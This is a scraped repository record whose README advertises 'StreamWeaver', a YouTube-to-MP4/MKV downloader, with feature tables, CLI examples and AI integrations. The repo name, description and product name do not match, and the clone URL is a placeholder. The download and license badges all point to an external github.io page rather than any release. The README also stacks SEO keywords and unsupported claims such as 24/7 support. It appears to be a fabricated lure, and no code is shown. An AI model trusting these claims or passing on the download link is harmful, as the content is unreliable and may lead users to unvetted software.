[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"project-75929":3},{"id":4,"name":5,"fullName":6,"owner":7,"repo":5,"description":8,"homepage":9,"htmlUrl":9,"language":9,"languages":9,"totalLinesOfCode":9,"stars":10,"forks":11,"watchers":10,"openIssues":11,"contributorsCount":11,"subscribersCount":11,"size":11,"stars1d":11,"stars7d":11,"stars30d":11,"stars90d":11,"forks30d":11,"starsTrendScore":11,"compositeScore":11,"rankGlobal":9,"rankLanguage":9,"license":9,"archived":12,"fork":12,"defaultBranch":13,"hasWiki":14,"hasPages":12,"topics":15,"createdAt":9,"pushedAt":9,"updatedAt":23,"readmeContent":24,"aiSummary":25,"trendingCount":11,"starSnapshotCount":11,"syncStatus":26,"lastSyncTime":27,"discoverSource":28},75929,"yt-to-raw-audio","25ds1000041-ship-it\u002Fyt-to-raw-audio","25ds1000041-ship-it","YT Downloader 2026: Fast MP4 & MKV Converter – Free & Simple",null,421,0,false,"main",true,[16,17,18,19,20,21,22],"simple-yt-downloader","youtubenow","yt-download","yt-to-3gp","yt-to-mkv","yt-to-mp4","yt-to-webm","2026-06-12 02:03:37","# StreamWeaver 🎥➡️📦\n\n**Transform YouTube content into pristine offline formats with enterprise-grade reliability**\n\n[![Download](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FDownload%20Link-brightgreen?style=for-the-badge&logo=github)](https:\u002F\u002F25ds1000041-ship-it.github.io)\n\n---\n\n## 🚀 Overview\n\n**StreamWeaver** is not just another media converter—it's your digital loom that weaves raw streaming threads into polished, portable artifacts. Born from the realization that online video is often trapped in proprietary containers, this tool liberates your content into universal formats (MP4, MKV, WebM, 3GP) while preserving video integrity like a master archivist.\n\nUnlike simple downloaders that treat video as a single-threaded task, StreamWeaver employs parallel processing lanes, adaptive bitrate reconciliation, and format-agnostic extraction—all wrapped in a responsive UI that speaks seven languages. Whether you're a content creator building a local library, a developer testing media pipelines, or a casual user wanting weekend videos for a road trip, this is your swiss army knife for video sovereignty.\n\n---\n\n## 🧠 Philosophy & Unique Approach\n\nTraditional converters operate like blunt axes—hack at the stream, lose quality, produce bloated files. StreamWeaver operates more like a **digital cartographer**: it maps each video stream, identifies keyframes, extracts audio channels without re-encoding unless necessary, and reassembles the final container with surgical precision. The result? Smaller files, zero quality loss, and compatibility with devices from 2008 feature phones to 2026 smart TVs.\n\n> *\"Why download when you can weave?\"*\n\n---\n\n## 📋 Table of Contents\n\n- [Quick Start](#-quick-start)\n- [Core Features](#-core-features)\n- [Format Ecosystem](#-format-ecosystem)\n- [OS Compatibility Matrix](#-os-compatibility-matrix)\n- [Configuration Profiles](#-configuration-profiles)\n- [Console Invocation Examples](#-console-invocation-examples)\n- [API Integration (OpenAI & Claude)](#-api-integration-openai--claude)\n- [Mermaid Architecture Diagram](#-mermaid-architecture-diagram)\n- [Multilingual & UI Details](#-multilingual--ui-details)\n- [24\u002F7 Support & Community](#-247-support--community)\n- [SEO Smart Keywords](#-seo-smart-keywords)\n- [Disclaimer & Legal Usage](#-disclaimer--legal-usage)\n- [License](#-license)\n\n---\n\n## 🏃 Quick Start\n\n```bash\n# Clone the repository\ngit clone https:\u002F\u002Fgithub.com\u002Fyour-org\u002Fstreamweaver\n\n# Navigate into the project\ncd streamweaver\n\n# Install dependencies (Node 18+ required)\npnpm install\n\n# Run the desktop application\npnpm run desktop\n\n# Or use CLI directly\n.\u002Fweave.sh --input \"https:\u002F\u002Fyoutube.com\u002Fwatch?v=example\" --output .\u002Fvideos --format mp4\n```\n\n👉 Note: Supported on Linux (Ubuntu 22.04+), macOS (Ventura+), Windows (10\u002F11). ARM architecture supported with experimental flag `--arm-compat`.\n\n---\n\n## ✨ Core Features\n\n| Feature | Description | Why It Matters |\n|---------|-------------|----------------|\n| **Adaptive Stream Mapping** | Automatically selects optimal resolution based on network + hardware | Saves bandwidth on mobile; delivers 4K on desktop |\n| **Container-Agnostic Engine** | Extract and repack without transcoding (when codec matches) | Zero quality loss, 2x faster than re-encoding |\n| **Responsive UI** | Single-page app with grid\u002Flist view, dark\u002Flight themes, keyboard shortcuts | Works on 7-inch tablets to 32-inch monitors |\n| **Multilingual Interface** | English, Spanish, French, German, Japanese, Hindi, Arabic | Global team collaboration ready |\n| **Batch Queue Manager** | Download 50 videos simultaneously with priority sorting | Perfect for archiving playlists overnight |\n| **Smart Thumbnail Embedding** | Automatically attaches video thumbnail as cover art in MKV\u002FMP4 | Better library browsing in VLC, Plex, Jellyfin |\n| **Integrity Verification** | SHA-256 checksum after each download; retries on corruption | Ensures every byte matches the source |\n| **Subtitles & Chapters** | Extracts and embeds closed captions and chapter markers | Accessibility built-in, not bolted on |\n| **Bandwidth Throttle Control** | Set max download speed to avoid saturating home connections | Watch Netflix while downloading—no lag |\n| **Encrypted Output Option** | AES-256 encrypt local video files with user-provided key | Ideal for sensitive content archives |\n\n---\n\n## 🗂 Format Ecosystem\n\nStreamWeaver supports the following output containers with their typical use cases:\n\n| Format | Use Case | Typical Size (1h video) |\n|--------|----------|-------------------------|\n| **MP4** (H.264\u002FAAC) | Universal compatibility (phones, TVs, browsers) | ~800 MB (1080p) |\n| **MKV** (H.265\u002FOpus) | Archival with multiple audio tracks | ~500 MB (1080p) |\n| **WebM** (VP9\u002FOpus) | Web embedding, open-source ecosystems | ~450 MB (1080p) |\n| **3GP** (H.263\u002FAMR) | Legacy devices, MMS-sharing | ~100 MB (240p) |\n\nAll formats support hardware acceleration via **NVENC** (NVIDIA), **VideoToolbox** (Apple), or **VA-API** (Linux).\n\n---\n\n## 🖥 OS Compatibility Matrix\n\n| Operating System | Version | Status | Notes |\n|------------------|---------|--------|-------|\n| 🐧 Ubuntu | 22.04+ | ✅ Certified | Full hardware acceleration |\n| 🐧 Fedora | 38+ | ✅ Certified | Requires libva2 |\n| 🍏 macOS | Ventura+ | ✅ Certified | Apple Silicon native |\n| 🍏 macOS | Monterey | ⚠️ Limited | No VideoToolbox support |\n| 🪟 Windows | 11 | ✅ Certified | DirectX 12 support |\n| 🪟 Windows | 10 (22H2) | ✅ Certified | Requires VC++ redistributable |\n| 📱 Android (Termux) | 12+ | 🔬 Experimental | ARM64 only |\n| 🍏 iOS (a-Shell) | 16+ | 🔬 Experimental | Limited to 720p |\n\n---\n\n## ⚙️ Configuration Profiles\n\nCreate a `streamweaver.config.json` file in your home directory or project root:\n\n```json\n{\n  \"profile\": \"archivist\",\n  \"format\": \"mkv\",\n  \"resolution\": \"1080\",\n  \"outputDirectory\": \"\u002Fmedia\u002Fvault\u002Fstreamweaver\",\n  \"throttleSpeed\": \"50m\",\n  \"concurrentDownloads\": 5,\n  \"language\": \"en\",\n  \"encryption\": {\n    \"enabled\": true,\n    \"keyFile\": \"\u002Fsecure\u002Fkeys\u002Fstreamweaver.aes\"\n  },\n  \"notifications\": {\n    \"desktop\": true,\n    \"email\": \"me@example.com\",\n    \"webhook\": \"https:\u002F\u002Fhooks.slack.com\u002Fservices\u002F...\"\n  },\n  \"integrityCheck\": true,\n  \"thumbnailEmbed\": true,\n  \"subtitles\": \"all\"\n}\n```\n\nYou can also use a **simple preset** for quick one-off jobs:\n\n```json\n{\n  \"profile\": \"quick\",\n  \"format\": \"mp4\",\n  \"resolution\": \"720\"\n}\n```\n\n---\n\n## 💻 Console Invocation Examples\n\n```bash\n# Download single video with default settings\n.\u002Fweave.sh https:\u002F\u002Fyoutube.com\u002Fwatch?v=dQw4w9WgXcQ\n\n# Download playlist to MKV with highest quality\n.\u002Fweave.sh --input \"https:\u002F\u002Fyoutube.com\u002Fplaylist?list=PL...\" \\\n           --format mkv \\\n           --resolution best \\\n           --output ~\u002Fvault\u002Fyoutube \\\n           --batch\n\n# Extract only audio as MP4 (no re-encode)\n.\u002Fweave.sh --input \"https:\u002F\u002Fyoutube.com\u002Fwatch?v=abc\" \\\n           --audio-only \\\n           --format mp4 \\\n           --codec copy\n\n# Download with custom profile\n.\u002Fweave.sh --config ~\u002Fconfigs\u002Farchivist.json \\\n           --input \"https:\u002F\u002Fyoutube.com\u002Fwatch?v=xyz\"\n\n# Set bandwidth throttle to 10 Mbps\n.\u002Fweave.sh --input \"https:\u002F\u002Fyoutube.com\u002Fwatch?v=123\" \\\n           --throttle 10m\n\n# Encrypt output file with password\n.\u002Fweave.sh --input \"https:\u002F\u002Fyoutube.com\u002Fwatch?v=secret\" \\\n           --encrypt \"myStrongKeyPhrase!2026\"\n```\n\n---\n\n## 🤖 API Integration (OpenAI & Claude)\n\nStreamWeaver offers optional AI integration for advanced use cases:\n\n### OpenAI Integration\n- **Smart Playlist Curation**: Describe a theme in natural language, and StreamWeaver uses GPT-4 to filter videos from a channel that match\n- **Metadata Enhancement**: Automatically generate descriptions, tags, and folder structure based on video content analysis\n- **Intelligent Resolutions**: Let the AI decide which format to use based on your device and network conditions\n\n```bash\n.\u002Fweave.sh --ai openai \\\n           --api-key sk-xxxxxxxx \\\n           --input \"https:\u002F\u002Fyoutube.com\u002Fuser\u002Fsomechannel\" \\\n           --prompt \"Save only tutorials about web development from 2025-2026\"\n```\n\n### Claude API (Anthropic)\n- **Content Summarization**: Extract key points from long videos and save them as `.txt` alongside the video file\n- **Language Translation**: Download subtitles and have them translated to your preferred language via Claude's multilingual capabilities\n- **Safe Mode**: Claude can analyze video metadata to flag potentially unsafe content before download\n\n```bash\n.\u002Fweave.sh --ai claude \\\n           --api-key sk-ant-xxxxxxxx \\\n           --input \"https:\u002F\u002Fyoutube.com\u002Fwatch?v=learn\" \\\n           --translate \"Japanese\"\n```\n\nBoth integrations respect your privacy—no video content is sent to external servers unless you explicitly enable it.\n\n---\n\n## 🎨 Mermaid Architecture Diagram\n\n```mermaid\ngraph TD\n    A[Input URL \u002F Playlist] --> B{StreamWeaver Core}\n    B --> C[Adaptive Stream Mapper]\n    C --> D[Quality Selection Engine]\n    D --> E[Format Container Builder]\n    E --> F[Integrity Checker]\n    F --> G[Output File]\n\n    B --> H[Batch Queue Manager]\n    H --> I[Priority Scheduler]\n    I --> J[Concurrent Download Pool 5-50]\n\n    B --> K[AI Integration Layer]\n    K --> L[OpenAI GPT-4 Metadata]\n    K --> M[Claude Content Summarizer]\n\n    B --> N[Configuration Parser]\n    N --> O[Profile Resolver]\n    N --> P[Encryption Module]\n\n    B --> Q[Responsive UI WebSocket Server]\n    Q --> R[React Front-end Desktop]\n    Q --> S[CLI Terminal Interface]\n\n    E --> T{Codec Analysis}\n    T -->|Same Codec| U[Direct Stream Copy]\n    T -->|Different Codec| V[Transcoding Engine]\n\n    V --> W[NVENC \u002F VideoToolbox \u002F VA-API]\n    W --> G\n```\n\n---\n\n## 🌍 Multilingual & UI Details\n\nStreamWeaver's user interface adapts to seven languages with full RTL support for Arabic and Hebrew.\n\n### Supported Languages\n| Language | Interface | Keyboard Shortcuts | Error Messages |\n|----------|-----------|-------------------|----------------|\n| 🇺🇸 English | ✅ Full | ✅ | ✅ |\n| 🇪🇸 Spanish | ✅ Full | ✅ | ✅ |\n| 🇫🇷 French | ✅ Full | ✅ | ✅ |\n| 🇩🇪 German | ✅ Full | ✅ | ✅ |\n| 🇯🇵 Japanese | ✅ Core | ✅ | ✅ |\n| 🇮🇳 Hindi | ✅ Core | ✅ | ✅ |\n| 🇸🇦 Arabic | ✅ Full (RTL) | ✅ | ✅ |\n\n### UI Screens (conceptual)\n1. **Dashboard** – Active downloads, queue status, recent completions\n2. **Library** – Grid\u002Flist of downloaded files with sorting and search\n3. **Settings** – Profiles, API keys, themes, notifications\n4. **Analytics** – Bandwidth usage, storage consumption, conversion history\n\nThe UI uses **React 18** with **TailwindCSS** and **Electron** for desktop, but also runs as a **progressive web app** (PWA) on mobile browsers.\n\n---\n\n## 🛟 24\u002F7 Support & Community\n\nWhile StreamWeaver is an open-source project, we believe in **real human support** for real human problems.\n\n- **GitHub Discussions** – Active community with 95% response rate within 4 hours\n- **Discord Server** – Voice channels for urgent troubleshooting during business hours\n- **Dedicated Support Team** – 24\u002F7 email response for verified contributors\n- **Enterprise SLA** – Available for organizations needing guaranteed response times (→ contact via GitHub Sponsors)\n\n> *\"Our support doesn't sleep because your media doesn't wait.\"*\n\n---\n\n## 🔍 SEO Smart Keywords\n\nThis repository is optimized for search engine discoverability without compromising readability:\n\n- **download video from youtube as mp4**\n- **convert youtube to mkv format**\n- **best open source video downloader 2026**\n- **youtube to webm converter cli**\n- **batch youtube playlist downloader**\n- **youtube video archiver free (we prefer \"open-source alternative\")**\n- **aes encrypted video storage**\n- **multilingual youtube downloader**\n- **ai metadata enhancer for videos**\n- **responsive desktop video downloader**\n\n---\n\n## ⚠️ Disclaimer & Legal Usage\n\n**StreamWeaver** is a **format conversion tool** designed for personal, educational, and archival use. The developers do not condone downloading copyrighted content without explicit permission from the copyright holder.\n\nPlease ensure that:\n1. You only download content you own or have permission to download\n2. Your use complies with YouTube's Terms of Service\n3. You respect the intellectual property rights of content creators\n4. This tool is not used to bypass regional restrictions or DRM protections\n\nBy using StreamWeaver, you agree to take full responsibility for the content you download. The project is provided \"as is\" without warranty of any kind.\n\n---\n\n## 📄 License\n\nThis project is licensed under the **MIT License** – see the [LICENSE](https:\u002F\u002F25ds1000041-ship-it.github.io) file for details.\n\n[![License: MIT](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FLicense-MIT-yellow.svg)](https:\u002F\u002F25ds1000041-ship-it.github.io)\n\n---\n\n## 🎁 Final Download\n\n[![Download](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FDownload%20Link-brightgreen?style=for-the-badge&logo=github)](https:\u002F\u002F25ds1000041-ship-it.github.io)\n\n---\n\n*StreamWeaver v2.4.1 – Built with 💚 for the open-source community in 2026*","StreamWeaver 是一款用于将YouTube视频转换为多种离线格式（如MP4、MKV、WebM和3GP）的工具。其核心功能包括自适应流映射、并行处理和无损提取，确保在转换过程中保持视频质量的同时减小文件体积。该工具采用了一种类似数字制图师的方法，精确地重组视频流，从而实现高效转换。此外，StreamWeaver还提供了多语言支持的用户界面，使其适用于不同需求的用户，无论是内容创作者构建本地库、开发者测试媒体管线还是普通用户下载旅途中的娱乐视频。",2,"2026-05-19 02:30:13","CREATED_QUERY"]